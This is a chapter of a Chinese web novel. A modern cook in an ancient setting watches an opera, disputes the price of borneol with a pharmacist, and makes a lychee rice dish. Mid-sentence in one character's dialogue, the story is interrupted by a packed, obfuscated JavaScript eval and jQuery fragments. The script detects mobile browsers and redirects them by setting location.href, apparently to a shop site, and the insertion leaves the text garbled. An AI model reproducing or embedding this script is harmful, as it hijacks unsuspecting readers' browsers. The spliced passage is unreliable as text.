70. 戏台观恩仇

作品:《我在古代做漂亮饭

    西市戏园是一个中空露天的两层楼阁,今日演的是《凤阁恩仇未了情》。


    一楼庭院中搭着一座戏台,台下几排长凳上,早已座无虚席。


    因沈昭昭他们来得晚,已没了散客的座位,便加钱买了二楼的雅座。


    移步上楼,金宝没急着落座,他扶着桌旁的木栏杆,感慨道:“从前我们看戏都是爬墙偷听的呢,还是二楼视野好,台下各处都看得清。”


    杏儿抽动着那把弯弯的匕首,撇撇嘴:“我记得,那次大毛没扒稳,直接从墙上掉下来了,弄得满身泥。”


    大毛不想让杏儿继续宣扬他的糗事,忙指着楼下的人群转移话题:“你们看,今儿这次是炎州戏,下头的人也多是炎州来的呢!”


    随着大毛指的方向,沈昭昭看向下面坐长凳的人,果然许多面孔都是长颅低面,嘴唇稍厚。


    这大概是颇具炎州特色的地域长相,极具辨识度。


    沈三七给几人斟上茶,慢悠悠道:“炎州戏用的可不是官话,你们都能听得懂?”


    沈昭昭懵了,她不是什么资深票友,对地方戏根本没概念,只是听卖票的人吹得好,想着来都来了,便带孩子们瞧个新鲜。


    她一皱眉:“听懂多少,只能随缘了。”


    不多时,锣鼓声起,各路人物粉墨登台。


    三个孩子听不懂唱词,只看着台上穿梭的身影,白底金绣大靠,蓝色绣银线绉裙的片片光华,晃得人眼晕。


    随着锣鼓的敲敲打打,沈昭昭屏气凝神,侧耳细听,倒也听出了几分门道。


    水袖一甩,翎子一摇,台上人的一颦一笑挂住了魂。


    她不自觉站了起来,倚在栏边,想将词听得更真切。


    另一道身影站在她旁边,她也恍然未觉。


    她与家,不仅是关山之遥,而是一个无法用远近丈量的距离。


    眼下只能怅然追问,自己的恩仇,又要向何处去寻?


    “痴心化梦幻,耳畔听风雪声,愁梦散。”


    戏文入耳,沈昭昭扶着栏杆,定定看向舞台中央,想靠台上人望见自己的过往。


    直到戏中的红鸾郡主被救起,也忘记自己的身份前尘。她才小心转过头去,凝神看向他。


    他,会不会也入了戏?


    沈三七如刚才的沈昭昭般,目光随着台上的人游移。面上似无风的水面般平静,嘴唇却抿得紧紧的。


    沈昭昭屏住呼吸,没敢出声打扰。


    “何日再会呀,永不复还,万里关山……”


    满堂喝彩。


    一场结束,沈昭昭和沈三七皆有些怅然,默默伫立回味良久。


    待看向身后,金宝向二人比出一个“嘘”的手势,又努努嘴。


    大毛和杏儿已经趴在桌上睡着了。


    二人相视一笑,一人抱起一个孩子,走向散场的人群。


    隔天一早,沈三七便和三个孩子出了门,给沈昭昭腾出了清静地方,让她安心为三日后的永宁灯会准备食材。


    灯会夜宴不同于寻常宴席,古人向来没有夜间吃正餐的习惯,是以这夜宴不必太过正式,却也需备些精致吃食,供众人赏灯时垫肚解乏。


    所以,沈昭昭要找到一个平衡。


    如今天热,沈昭昭索性从随身的厨神菜谱中翻找起来,专挑那些解暑爽口的菜品。


    翻着翻着,有一味食材引起了她的注意。


    荔枝!


    荔枝金贵鲜嫩,既能解暑气、润心肺,又不属于厚重硬菜,放夜宴上再合适不过。


    沈昭昭从高级资源库中精挑细选了一筐新鲜荔枝,捏住壳轻轻一剥,汁水就溅了出来。


    她捏住果肉,对着阳光一看,糯白的果肉,红豆一般的核,煞是好看。


    食材捏在手里,她脑中瞬间定下了菜色。


    她要做厨神菜谱里的一道经典宫廷菜——清风饭[1]!


    细细用刀剜去鲜荔枝的核后,沈昭昭取来一块细密的白纱,将荔枝果肉裹住,掌心微微用力挤压,清透的荔枝汁便顺着细纱的缝隙缓缓渗出,滴入备好的碗中。


    她将挤过的荔枝果肉整齐摆入瓷盘,放进蒸锅,小火慢蒸。


    盖上锅盖,沈昭昭擦干净手,拿出地图,寻找最近的药铺。


    她的清风饭还需要一味药食——龙脑冰片!


    在西市里七拐八拐,沈昭昭按着地图的标注顺利找到了「广济堂」。


    药铺伙计出来招呼:“姑娘,可是有什么头疼脑热?今日咱家老板难得坐诊,姑娘可是来对时候了!”


    沈昭昭笑着推辞:“多谢,我身体无碍。我今日来,是想寻些龙脑冰片,用来做吃食的。”


    药铺伙计闻言,脸上露出诧异神色。他极少看到有人来药铺买食材,不过他也没多问,只拿出杆称来,打开一个小抽屉。


    “姑娘要多少?”


    沈昭昭皱了皱眉,算上损耗应也不会太多,于是答:“来二钱的。”


    伙计捏了一小撮,仔细称量后道:“正好二钱,收您五两。”


    “五两?!”


    沈昭昭吃了一惊,她资源库里没有这味药材,花钱买自然理所应当。不过这龙脑冰片已经贵得超乎她想象。


    她走到柜台前,仔细打量起那一点点晶体。


    浑浊、暗淡,怎么看都不值这个价格。


    花冤枉钱事小,要是影响她菜的口感可就遭了。


    沈昭昭拉下脸来,对药铺伙计道:“你家冰片这质量敢收五两?叫你们老板来,我倒要问问你们广济堂为何糊弄客人?”


    药铺伙计一耸肩,只道是沈昭昭嫌贵找茬,于是向后堂喊道:“姜大夫,有人说咱们的冰片不纯!您快出来看看吧。”


    是巧合吗,这里的大夫也姓姜?


    沈昭昭心神一动,火气下去了不少,难道这药铺和姜白芷家有关系?


    一个头裹儒巾的青年缓步走来,他打量沈昭昭一眼,倨傲开口:“姑娘是嫌冰片不纯,还是价钱太贵?”


    沈昭昭皱眉道:“你家龙脑冰片的质量本就差,还不让人说了?别以为价格定的贵就能糊弄我,最纯的也收不到这个价!”


    她在姜白芷医馆多少也是见过好药材的,虽不精通,但也心中有数。


    青年看了看柜台上的冰片,无所谓道:“姑娘既然自诩懂行,不知医术有多高明?我家自然有更好的货,供到宫里的,可不知姑娘能不能买得起?”


    赤裸裸的挑衅!


    沈昭昭拔高了声音:“你可知道御医姜家?姜白芷是我朋友,我虽不懂医术,也不代表你们这群庸医能以次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324589|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    充好,随意糊弄客人!”


    “你是白芷的朋友?”青年喜上眉梢,顿时换了副神色,“我是姜信才,白芷的表哥啊!”


    这人能是姜白芷的表哥?沈昭昭将信将疑,后退半步。


    姜信才却不以为意,继续滔滔不绝道:“白芷性子倔,搬出家好几年了,想不到京都还能遇到她朋友。你们是平安村相识的吧,姑娘,刚才多有得罪,快请到后堂来,我给你拿上好的龙脑!”


    听到这话,沈昭昭才打下了疑虑。


    想不到这个黑心老板还真是姜白芷的表哥!


    姜信才一边拿出几片新龙脑冰片给沈昭昭看,一边美滋滋道:“这种便是供进宫中的了,姑娘需要拿去用便是。刚才招待不周,多有得罪,某在此给姑娘道歉。”


    沈昭昭接过,果然新的冰片又白又透,味道也更清爽浓郁,她疑惑道:“既然有好货,为何不放出去?既然品质好,我相信也会有人愿意出高价的。”


    姜信才意味深长的笑笑:“京都确实不缺愿意花钱的客人。可药嘛,好坏药性都在。能用普通药材医好的,何必多花费?”


    沈昭昭虽不认同,但也不愿意和此人多掰扯口舌。


    这属于道德范畴,严格来说并不违法。如果真如他所说,能靠医术治好病人,那药材的贵贱的确不值得深究。


    她又问:“你可知道,白芷为何要搬出姜家?”


    姜信才神色古怪看她一眼,斟酌开口:“我这一脉属于姜家旁支,开铺子做药材生意也挺知足。白芷她属于正统姜家血脉,让她来做我们这种生意,拉不下脸来嘛~”


    他们这种生意?以次充好、价格虚高?


    沈昭昭对这番话将信将疑,白芷开个正经医馆没必要坑蒙拐骗。


    这恐怕不是姜白芷必须离家的理由。


    这时又有病人进来,姜信才急急忙忙去接诊。沈昭昭才满腹疑惑从广济堂出来,将心思收回她的新菜上。


    回到西市院儿中,锅上的荔枝已经蒸透。


    沈昭昭将荔枝肉取出、晒干,放入石臼,反复研磨成细细的粉末。又将买来的龙脑冰片捣碎,放一旁备用。


    清风饭用糯米还是稻米,沈昭昭犹豫了一下。


    厨神菜谱中,清风饭所用的自然是稻米。


    可沈昭昭觉得清风饭和现代的泰国芒果糯米饭有异曲同工之妙,糯米甜甜黏黏的,淋上炼乳定能惊艳全场。


    思量许久,为求稳妥,沈昭昭放弃了创新的念头,还是决定依照菜谱所写的传统做法一比一还原。


    她第一次给宫里的人做菜,可不想受人权柄。


    从高级资源库中取出上好有机稻米,剔透莹润,沈昭昭认真淘洗一番,才放上锅蒸。


    稻香四散开来,不用加料已得米的本味。出锅更是粒粒分明,如水晶般透亮。


    沈昭昭将菜谱中的牛酪浆换成了口味一致的全脂酸奶,徐徐淋入水晶饭,佐以准备好的龙睛粉、龙脑冰盘,轻轻拌匀,使每粒米饭均匀裹上乳香。


    为找到最完美的比例,她准备了好几碗,每碗各种配料都进行了微调。


    “昭昭姐,我们回来了!”


    三个孩子又被沈三七带着在外头疯了一天。


    沈昭昭轻笑道:“正好,有饭给你们解暑。”